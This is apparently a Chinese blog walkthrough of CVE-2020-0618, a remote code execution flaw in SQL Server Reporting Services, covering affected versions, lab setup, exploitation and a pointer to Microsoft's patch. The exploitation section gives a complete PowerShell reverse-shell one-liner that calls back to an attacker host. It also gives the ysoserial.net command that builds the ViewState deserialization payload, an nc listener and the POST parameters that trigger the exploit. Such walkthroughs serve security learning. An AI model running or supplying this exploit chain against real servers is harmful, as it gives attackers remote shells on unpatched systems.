0%

SQLServer远程代码执行漏洞(CVE-2020-0618)

漏洞描述


声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

SQL Server 是Microsoft 开发的一个关系数据库管理系统(RDBMS),是现在世界上广泛使用的数据库之一。

低权限的攻击者向有漏洞版本的SQL Server的Reporting Services实例发送精心构造的payload请求,可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码,即可实现getshell。

参考:https://blog.csdn.net/weixin_45006525/article/details/116147471


影响版本


SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE)
SQL Server 2012 for x64-based Systems Service Pack 4 (QFE)
SQL Server 2014 Service Pack 3 for 32-bit Systems (CU)
SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR)
SQL Server 2014 Service Pack 3 for x64-based Systems (CU)
SQL Server 2014 Service Pack 3 for x64-based Systems (GDR)
SQL Server 2016 for x64-based Systems Service Pack 1
SQL Server 2016 for x64-based Systems Service Pack 2 (CU)
SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)


FOFA语句

1

环境搭建

windows搭建

1
2
3
4
5
6
7
8
9
10
11
12
1、Windows Server 2016 Datacenter(https://msdn.itellyou.cn/)
迅雷下载:
ed2k://|file|cn_windows_server_2016_x64_dvd_9718765.iso|6176450560|CF1B73D220F1160DE850D9E1979DBD50|/

2、SQL Server 2016 Developer Edition x64(https://msdn.itellyou.cn/)
迅雷下载:
ed2k://|file|cn_sql_server_2016_enterprise_with_service_pack_1_x64_dvd_9538279.iso|2959722496|E3F5E07B85F0AB42CA115CE1D6CA27D1|/

3、下载Postman-win64-7.22.1(https://www.postman.com/)

4、下载ysoserial
https://github.com/pwntester/ysoserial.net/releases/download/v1.34/ysoserial-1.34.zip

image-20211115193548769

SQL Server 2016安装

  • 虚拟机挂载sqlserver.iso镜像文件

image-20211115145241441

  • 双击安装程序;

image-20211115145423994

  • 安装选择第一个,向现有安装添加功能;

image-20211115143849650

  • 一路默认安装。
  • 到“功能选择”的时候,选择“数据库引擎服务”和“Reporting Services本机”;

image-20211115144058545

  • 一路选择“下一步”。

  • 用混合模式创建账号 账号sa,密码输入符合复杂度的即可。并且添加当前账户;

image-20211115144438970

image-20211115144539895

  • 一路选择“下一步”,直到安装完成即可。

  • image-20211115150413999

访问 http://localhost/ReportS/browse/,下图代表安装成功。

image-20211115151056257

创建分页报表

image-20211115174849682

  • 安装报表服务器,点我下载,或者按如下页面点击下载;

image-20211115175017110

  • 打开报表服务。刷新页面,重新点击“分页报表”。点击浏览器的弹窗;

image-20211115175204991

  • 新建一个报表;

image-20211115175403988

image-20211115175446085

点击凭据,选择次用户名和密码,输入创建的用户名“sa”以及“密码”;

image-20211115175511944

  • 创建视图

image-20211115175541795

image-20211115175559595

  • 访问创建的视图;

image-20211115175846661

漏洞复现

  • 生成payload:

    在powershell中运行下面四条命令,运行完成后payload自动在剪切板中。粘贴到文档即可

1
2
3
4
$command = '$client = New-Object System.Net.Sockets.TCPClient("本人用kali(kali-ip)",2333);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

image-20211115175923170

将剪贴板的payload粘贴到文本中;

image-20211115180008545

  • kali监听相应端口
1
nc -lvvp 2333
  • 安装并启用postman,发送post包,具体步骤如下:
1
2
3
4
5
# post请求地址:http://localhost/ReportServer/Pages/ReportViewer.aspx

# type选择NTLM模式

# 填入服务器的用户名(username)和密码(password)

image-20211115173000885

1
2
3
4
# Body中填入键值对
NavigationCorrector$PageState=NeedsCorrection
NavigationCorrector$ViewState=payload
__VIEWSTATE=

image-20211115172742359

  • 点击发送;

image-20211115180606134

  • nc已经成功收到反连shell;

image-20211115180739356

修复建议

目前微软官方已针对受支持的版本发布了修复该漏洞的安全补丁,请受影响的用户尽快安装补丁进行防护。

官方下载链接:https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0618

欢迎关注我的其它发布渠道